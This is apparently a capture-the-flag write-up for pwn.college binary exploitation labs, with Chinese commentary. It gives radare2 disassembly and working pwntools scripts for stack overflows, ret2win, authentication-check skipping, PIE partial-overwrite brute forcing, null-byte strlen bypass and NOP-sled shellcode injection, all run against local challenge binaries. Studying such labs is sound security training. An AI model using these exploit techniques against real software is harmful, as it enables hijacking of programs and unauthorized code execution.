PwnCollege - binary exploitation

Your First Overflow (easy)

Buffer 20 bytes, win variable 20 bytes after buffer start. Overflow to set win variable non-zero.

1
2
3
4
5
6
7
hacker@binary-exploitation~your-first-overflow-easy:~$ /challenge/binary-exploitation-first-overflow-w
# buffer at rsp+0x0030, win variable at rsp+0x0040 (20 bytes after buffer)
# send 21+ bytes to overflow into win variable
Send your payload (up to 4096 bytes)!
aaaaaaaaaaaaaaaaaaaaa
You win! Here is your flag:
pwn.college{*******************************************}

Your First Overflow (hard)

1
2
3
4
5
6
7
8
9
10
int challenge(int argc, char **argv, char **envp)
{
struct {
char input[96];
int win_variable;
} data = {0};
// ...
int received = read(0, &data.input, (unsigned long) size);
if (data.win_variable) { win(); }
}

need input 96 bytes + 1 byte to overflow win_variable.

1
2
3
4
5
from pwn import *

p = process('/challenge/binary-exploitation-first-overflow')
p.sendline(b'a' * 96 + b'a')
p.interactive()

pwn.college{*******************************************}

Precision (easy)

Buffer 51 bytes, win variable 52 bytes after buffer. Lose variable 56 bytes after buffer – must not overwrite it.

Send exactly 53 bytes (52 padding + 1 to set win, stop before lose).

1
2
3
4
5
from pwn import *

p = process('/challenge/binary-exploitation-lose-variable-w')
p.sendline(b'a' * 52 + b'a')
p.interactive()

pwn.college{*******************************************gzW}

Precision (hard)

1
r2 -A -q -c "pdf @ sym.challenge" /challenge/binary-exploitation-lose-variable

Key parts of sym.challenge:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
; buffer init: rep stosq with ecx=0xd (13), clearing 13*8=104 bytes
0x004017a9 488d5580 lea rdx, [format] ; buffer start
0x004017b2 b90d000000 mov ecx, 0xd ; 13 iterations
0x004017ba f348ab rep stosq qword [rdi], rax ; memset(buf, 0, 104)
; ...
; read into buffer at [format]
0x004017fe 488d4580 lea rax, [format] ; buf = rbp - 0x80
; ...
; lose check
0x0040184a 8b45e8 mov eax, dword [var_18h] ; lose @ [rbp - 0x18]
0x0040184d 85c0 test eax, eax
; win check
0x00401867 8b45e4 mov eax, dword [var_1ch] ; win @ [rbp - 0x1c]
0x0040186a 85c0 test eax, eax
  • var_1ch -> [rbp - 0x1c]h 代表 Hex。
  • var_18h -> [rbp - 0x18]

Win 变量 [rbp - 0x1c]Lose 变量 [rbp - 0x18]

Buffer init 用 rep stosqmemset(buffer, 0, size)

  • stosq: 把 rax (0) 写入 rdi 指向的地址,每次 8 bytes。
  • rep 配合 ecx = 0xd (13),循环 13 次。
  • 13 * 8 = 104 bytes

已知 Lose 变量位于 [rbp - 0x18]。Buffer 起点位置 = Lose 变量往上推 104 字节。

0x18 + 104 (即 0x68) = 0x80

Buffer 起点 [rbp - 0x80],到 [rbp - 0x1c] = 100 bytes,接下来 4 bytes 是 Win 变量。

1
2
3
4
5
from pwn import *

p = process('/challenge/binary-exploitation-lose-variable')
p.sendline(b'a' * 100 + b'a')
p.interactive()

pwn.college{*******************************************gzW}

Variable Control (easy)

Buffer 29 bytes, win variable 32 bytes after buffer (must set to 0x5a71653b). Lose variable 36 bytes after buffer.

1
2
3
4
5
6
7
from pwn import *

p = process('/challenge/binary-exploitation-var-control-w')
padding = b'A' * 32
win_val = p32(0x5a71653b)
p.send(padding + win_val)
p.interactive()

pwn.college{*******************************************W}

Variable Control (hard)

1
r2 -A -q -c "pdf @ sym.challenge" /challenge/binary-exploitation-var-control

Key parts of sym.challenge:

1
2
3
4
5
6
7
8
9
10
11
12
; buffer init: rep stosq with ecx=0xb (11), 11*8=88 bytes
0x00402331 488d5590 lea rdx, [format] ; buffer start
0x0040233a b90b000000 mov ecx, 0xb ; 11 iterations
0x00402342 f348ab rep stosq qword [rdi], rax ; memset(buf, 0, 88)
; ...
; read into buffer at [format] = rbp - 0x70
; ...
; lose check @ [rbp - 0x18]
0x004023c0 8b45e8 mov eax, dword [var_18h]
; win check @ [rbp - 0x1c], must equal 0x16630978
0x004023dd 8b45e4 mov eax, dword [var_1ch]
0x004023e0 3d78096316 cmp eax, 0x16630978
1
2
3
4
>>> 88 + 0x18   # buffer size + lose offset from end
112
>>> 112 - 0x1c # distance to win variable
84
1
2
3
4
5
6
7
from pwn import *

p = process('/challenge/binary-exploitation-var-control')
padding = b'A' * 84
win_val = p32(0x16630978)
p.send(padding + win_val)
p.interactive()

pwn.college{*******************************************W}

Control Hijack (easy)

No win variable. Overflow return address to jump to win() at 0x401e1d. Buffer starts 88 bytes before return address. Canary disabled, no PIE.

1
2
3
4
5
6
7
from pwn import *

p = process('/challenge/binary-exploitation-control-hijack-w')
padding = b'A' * 59 + b'B' * 29 # 88 bytes to reach return address
win_val = p32(0x401e1d)
p.send(padding + win_val)
p.interactive()

pwn.college{*******************************************}

Control Hijack (hard)

1
r2 -A -q -c "pdf @ sym.challenge; pdf @ sym.win" /challenge/binary-exploitation-control-hijack

Key parts of sym.challenge:

1
2
3
4
5
6
; buf -> rbp - 0x60
0x00401e5d 488d45a0 lea rax, [buf]
0x00401e61 4889c6 mov rsi, rax ; read into buf
; ...
0x00401eb4 c9 leave
0x00401eb5 c3 ret

sym.win 入口: 0x00401cb9

在 x86_64 架构下,当一个函数被调用时,返回地址 (Return Address) 压入栈中。溢出覆盖返回地址为 sym.win,当 sym.challenge 执行 ret 时 CPU 跳去执行 win 函数。这叫 Ret2Win

  1. 输入缓冲区起点: rbp - 0x60

use r2 -A to analyze, default asm.var = true, visual mode shows variable names

  1. 到达返回地址的距离:
    • 覆盖局部变量: 96 字节 到达 rbp
    • 跨过 Saved RBP: 8 字节
    • Padding = 96 + 8 = 104 字节
  2. sym.win 入口: 0x00401cb9
1
2
3
4
5
6
7
from pwn import *

p = process('/challenge/binary-exploitation-control-hijack')
padding = b'A' * 96 + b'B' * 8
win_val = p32(0x401cb9)
p.send(padding + win_val)
p.interactive()

pwn.college{*******************************************}

Tricky Control Hijack (easy)

win_authed(int token) requires token == 0x1337, but we can bypass the check by jumping past it.

Buffer 31 bytes, return address 56 bytes after buffer. Canary disabled, no PIE.

1
r2 -A -q -c "pdf @ sym.win_authed" /challenge/binary-exploitation-control-hijack-2-w
1
2
3
4
0x00402031      817dfc3713..   cmp dword [var_4h], 0x1337
0x00402038 0f85fe000000 jne 0x40213c
; jump past the check to here:
0x0040203e 488d3dab10.. lea rdi, str.You_win__Here_is_your_flag:
1
2
3
4
5
6
7
from pwn import *

p = process('/challenge/binary-exploitation-control-hijack-2-w')
padding = b'A' * 31 + b'B' * 25 # 56 bytes
win_val = p32(0x0040203e)
p.send(padding + win_val)
p.interactive()

pwn.college{*******************************************}

Tricky Control Hijack (hard)

1
r2 -A -q -c "pdf @ sym.challenge; pdf @ sym.win_authed" /challenge/binary-exploitation-control-hijack-2
1
2
3
4
5
6
7
8
; sym.challenge: buf -> rbp - 0x40
0x0040157d 488d45c0 lea rax, [buf]

; sym.win_authed: jump past auth check
0x00401401 817dfc3713.. cmp dword [var_4h], 0x1337
0x00401408 0f85fe000000 jne 0x40150c
; ret to here:
0x0040140e 488d3df30b.. lea rdi, str.You_win__Here_is_your_flag:
1
2
3
4
5
6
7
from pwn import *

p = process('/challenge/binary-exploitation-control-hijack-2')
padding = b'A' * 0x40 + b'B' * 8
win_val = p32(0x0040140e)
p.send(padding + win_val)
p.interactive()

pwn.college{*******************************************}

PIEs (easy)

Position Independent Executable – Partial Overwrite

1. PIE 与内存分页 (Memory Paging)

开启了 PIE,Kernel 会在每次执行时,把 binary 塞到内存中一个完全随机的位置 (ASLR)。

但 Kernel 按 Page (页) 管理内存:

  • 一个 Memory Page = 0x1000 bytes (4KB)
  • 基址 (Base Address) 永远是 0x1000 的倍数
  • 最后三个 nibbles 永远是 000(例如 0x5f7be1ec2000

2. 偏移量 (Offset) 不变

虽然基址在变,但 win() 在 binary 内部的相对位置 (Offset) 编译时就决定了。 假设 win() offset 为 0x1337

  • 基址 0x5f7be1ec2000 -> win() = 0x5f7be1ec3337
  • 基址 0x6513a3b67000 -> win() = 0x6513a3b68337

最后三个 nibbles (337) 不变。

3. Partial Overwrite 与 Little-Endian

Little-Endian 下 Return Address 最低有效字节在最低地址,溢出时从最低字节开始覆盖:

  1. 改 1 字节 (2 nibbles): 不受 ASLR 影响,100% 成功
  2. 改 2 字节 (4 nibbles): 前 3 nibbles 固定,第 4 nibble 随机。一个 nibble 16 种可能,每次 $\frac{1}{16}$ 概率。

n 次至少成功一次:

$$P = 1 - \left(\frac{15}{16}\right)^n$$

  • 跑 11 次 50%
  • 跑 36 次 90%
1
r2 -A -q -c "pdf @ sym.win_authed" /challenge/binary-exploitation-pie-overflow-w
1
2
3
; buf -> rbp - 0x40, return address at rbp + 8, padding = 0x40 + 8 = 72 bytes
; jump past auth check:
0x00001a2b 488d3dbe16.. lea rdi, str.You_win__Here_is_your_flag:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
import itertools

binary_path = "/challenge/binary-exploitation-pie-overflow-w"
padding = b"A" * 0x40 + b"B" * 8

for count in itertools.count():
p = process(binary_path)
payload = padding + p16(0x1A2B)
p.send(payload)
output = p.clean(timeout=0.114514)

if b"pwn.college{" in output:
print(f"[+] Try {count}")
print(output.decode('utf-8', errors='ignore'))
p.close()
break
p.close()

pwn.college{*******************************************}

PIEs (hard)

1
r2 -A -q -c "pdf @ sym.challenge; pdf @ sym.win_authed" /challenge/binary-exploitation-pie-overflow
1
2
3
4
5
6
7
8
; sym.challenge: buf -> rbp - 0x90
0x00001ee3 488d8570ff.. lea rax, [buf]

; sym.win_authed: jump past auth check
0x00001cfb 817dfc3713.. cmp dword [var_4h], 0x1337
0x00001d02 0f85fe000000 jne 0x1e06
; ret to here -> 0x1d08
0x00001d08 488d3df912.. lea rdi, str.You_win__Here_is_your_flag:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
import itertools

binary_path = "/challenge/binary-exploitation-pie-overflow"
padding = b"A" * 0x90 + b"B" * 8

for count in itertools.count():
p = process(binary_path)
payload = padding + p16(0x1d08)
p.send(payload)
output = p.clean(timeout=0.114514)

if b"pwn.college{" in output:
print(f"[+] Try {count}")
print(output.decode('utf-8', errors='ignore'))
p.close()
break
p.close()

pwn.college{*******************************************}

String Lengths (easy)

Buffer 120 bytes, return address 168 bytes after buffer. PIE enabled, canary disabled.

Challenge uses strlen() to validate input length before copying to stack. But strlen() stops at the first \x00 (Null Byte).

在 C 语言中,字符串以 \x00 结尾。strlen() 碰到第一个 \x00 就停止计数。 在 payload 开头放一个 \x00strlen() 判定长度为 0,绕过长度检查。

1
r2 -A -q -c "pdf @ sym.challenge; pdf @ sym.win_authed" /challenge/binary-exploitation-null-write-w
1
2
3
4
5
6
7
; string_length < 120 assertion
0x00002b62 488d3d6d13.. lea rdi, str.string_length___120

; win_authed: jump past auth check -> 0x00002522
0x00002515 817dfc3713.. cmp dword [var_4h], 0x1337
0x0000251c 0f85fe000000 jne 0x2620
0x00002522 488d3dc70b.. lea rdi, str.You_win__Here_is_your_flag:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
import itertools

binary_path = "/challenge/binary-exploitation-null-write-w"
padding = b"\x00" + b"A" * 167 # 168 bytes total (null + 167 padding)

for count in itertools.count():
p = process(binary_path)
payload = padding + p16(0x2522)
p.send(payload)
output = p.clean(timeout=0.114514)

if b"pwn.college{" in output:
print(f"[+] Try {count}")
print(output.decode('utf-8', errors='ignore'))
p.close()
break
p.close()

pwn.college{*******************************************}

String Lengths (hard)

1
r2 -A -q -c "pdf @ sym.challenge; pdf @ sym.win_authed" /challenge/binary-exploitation-null-write
1
2
3
4
5
6
7
8
9
10
11
; sym.challenge:
; malloc tmp buffer, read into it, strlen check, then memcpy to stack
; buf on stack -> s1 = rbp - 0xa0
0x00001607 488d8560ff.. lea rax, [s1]
; string_length < 113 assertion (0x70 = 112, jbe means <= 112)
0x000015f1 488d3d7e0b.. lea rdi, str.string_length___113

; win_authed: jump past auth -> 0x000013ad
0x000013a0 817dfc3713.. cmp dword [var_4h], 0x1337
0x000013a7 0f85fe000000 jne 0x14ab
0x000013ad 488d3d540c.. lea rdi, str.You_win__Here_is_your_flag:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
import itertools

binary_path = "/challenge/binary-exploitation-null-write"
# 0xa0 + 8 - 1 = 167 bytes after null
padding = b"\x00" + b"A" * 167

for count in itertools.count():
p = process(binary_path)
payload = padding + p16(0x13ad)
p.send(payload)
output = p.clean(timeout=0.114514)

if b"pwn.college{" in output:
print(f"[+] Try {count}")
print(output.decode('utf-8', errors='ignore'))
p.close()
break
p.close()

pwn.college{*******************************************W}

Basic Shellcode

Shellcode copied onto stack and executed. Stack location randomized, so shellcode must be position-independent.

1
2
3
4
5
6
7
8
9
from pwn import *

context.update(arch="amd64", os="linux")

p = process("/challenge/binary-exploitation-basic-shellcode")
p.send(asm(shellcraft.cat("/flag")))
p.interactive()

# pwn.college{*******************************************}

NOP Sleds

NOP (No Operation) opcode \x90:什么都不做,仅把 RIP 向前移动一个字节。

NOP Sled 在 Shellcode 前铺上大量 \x90。跳到这片区域的任意位置,CPU 就会顺着一路”滑”到 Shellcode。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

context.update(arch='amd64', os='linux')
context.log_level = 'error'

p = process('/challenge/binary-exploitation-nopsled-shellcode')

nop_sled = b'\x90' * 2048
shellcode = asm(shellcraft.cat('/flag'))
payload = (nop_sled + shellcode).ljust(4096, b'\x90')

p.send(payload)
p.interactive()

# pwn.college{*******************************************}

NULL-Free Shellcode

Same as prev, pwntools shellcraft.cat is already null-free.

pwn.college{*******************************************}

Hijack to (Mapped) Shellcode (easy)

Two-stage: first send shellcode to mmap’d region, then overflow return address to jump there. Buffer 112 bytes, canary disabled.

Shellcode mapped at 0x2edca000. Padding to return address = 137 bytes.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
import time

context.update(arch='amd64', os='linux')
context.log_level = 'error'

p = process('/challenge/binary-exploitation-hijack-to-mmap-shellcode-w')

# Stage 1: send shellcode
shellcode = asm(shellcraft.cat('/flag'))
p.send(shellcode.ljust(4096, b'\x90'))
time.sleep(0.5)

# Stage 2: overflow return address
padding = b'A' * 137
p.send(padding + p64(0x2edca000))
p.interactive()

# pwn.college{*******************************************}

Hijack to (Mapped) Shellcode (hard)

1
r2 -A -q -c "pdf @ sym.challenge" /challenge/binary-exploitation-hijack-to-mmap-shellcode
1
2
3
4
5
6
7
8
9
; mmap shellcode at fixed address 0x178d0000
0x0000153c bf00008d17 mov edi, 0x178d0000
0x00001541 e8bafbffff call sym.imp.mmap
; ...
; getchar() waits for newline between shellcode read and overflow read
0x000015f9 e842fbffff call sym.imp.getchar
; ...
; buf -> rbp - 0x30, padding = 0x30 + 8 = 56 bytes
0x00001622 488d45d0 lea rax, [buf]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
import time

context.update(arch='amd64', os='linux')
context.log_level = 'error'

p = process('/challenge/binary-exploitation-hijack-to-mmap-shellcode')

# Stage 1: send shellcode
shellcode = asm(shellcraft.cat('/flag'))
p.send(shellcode.ljust(4096, b'\x90'))
time.sleep(0.5)

# Stage 2: press enter for getchar()
p.sendline()
time.sleep(0.5)

# Stage 3: overflow return address
padding = b'A' * 48 + b'B' * 8
p.send(padding + p64(0x178d0000))
p.interactive()

# pwn.college{*******************************************}

Hijack to Shellcode (easy)

Buffer 102 bytes, return address 136 bytes after buffer. ASLR disabled, stack executable, canary disabled, no PIE.

Stack addresses are fixed: buffer at 0x7fffffffd1a0, return address at 0x7fffffffd228.

NOP Sled 的必要性

通过 pwntoolsprocess() 跑程序和直接在 bash 里跑,传递的环境变量不同:

  • pwntools 可能带不同的 _ 变量、Python 继承的环境变量、argv[0] 路径长度不同
  • 环境变量占据空间变化导致栈指针偏移十几字节

\x90 NOP sled 铺在 shellcode 前面可以容忍这种偏移。

Stack Overlap / Self-Destruct

retRSP 上移 8 字节。如果 shellcode 紧贴返回地址,shellcode 中的 push 指令会往回覆盖自己的机器码(栈向下生长,push 减 RSP 写入数据)。

解决:用 padding 隔开 shellcode 和返回地址,让 shellcode 放在返回地址之前。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *

context.update(arch="amd64", os="linux")
context.log_level = "error"

p = process("/challenge/binary-exploitation-hijack-to-shellcode-w")

target_address = 0x7FFFFFFFD1B0
offset = 136
nop_sled = b"\x90" * 32
shellcode = asm(shellcraft.cat("/flag"))
padding_len = offset - len(shellcode) - len(nop_sled)

# [NOP sled] + [Shellcode] + [Padding] + [RetAddr -> NOP sled]
payload = nop_sled + shellcode + (b"A" * padding_len) + p64(target_address)
p.send(payload)
p.interactive()

# pwn.college{*******************************************}

Hijack to Shellcode (hard)

1
r2 -A -q -c "pdf @ sym.challenge" /challenge/binary-exploitation-hijack-to-shellcode
1
2
3
; buf -> rbp - 0x40, padding = 0x40 + 8 = 72 bytes
0x00401d22 488d45c0 lea rax, [buf]
0x00401d26 4889c6 mov rsi, rax ; read into buf

Use GDB (with ASLR disabled) to find exact buffer address:

1
2
3
4
5
pwngdb /challenge/binary-exploitation-hijack-to-shellcode
unset env
break *0x00401d2e
run
# rsi (buf) = 0x00007fffffffdc70

buffer -> 0x00007fffffffdc70

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *

context.update(arch="amd64", os="linux")
context.log_level = "error"

p = process("/challenge/binary-exploitation-hijack-to-shellcode", env={})

# target somewhere in the NOP sled after return address
target_address = 0x00007fffffffdd70
offset = 72 # 0x40 + 8
shellcode = asm(shellcraft.cat("/flag"))
nop_sled = b"\x90" * 2000

# [Padding] + [RetAddr] + [NOP sled] + [Shellcode]
payload = b"A" * offset + p64(target_address) + nop_sled + shellcode
p.send(payload)
p.interactive()

# pwn.college{*******************************************}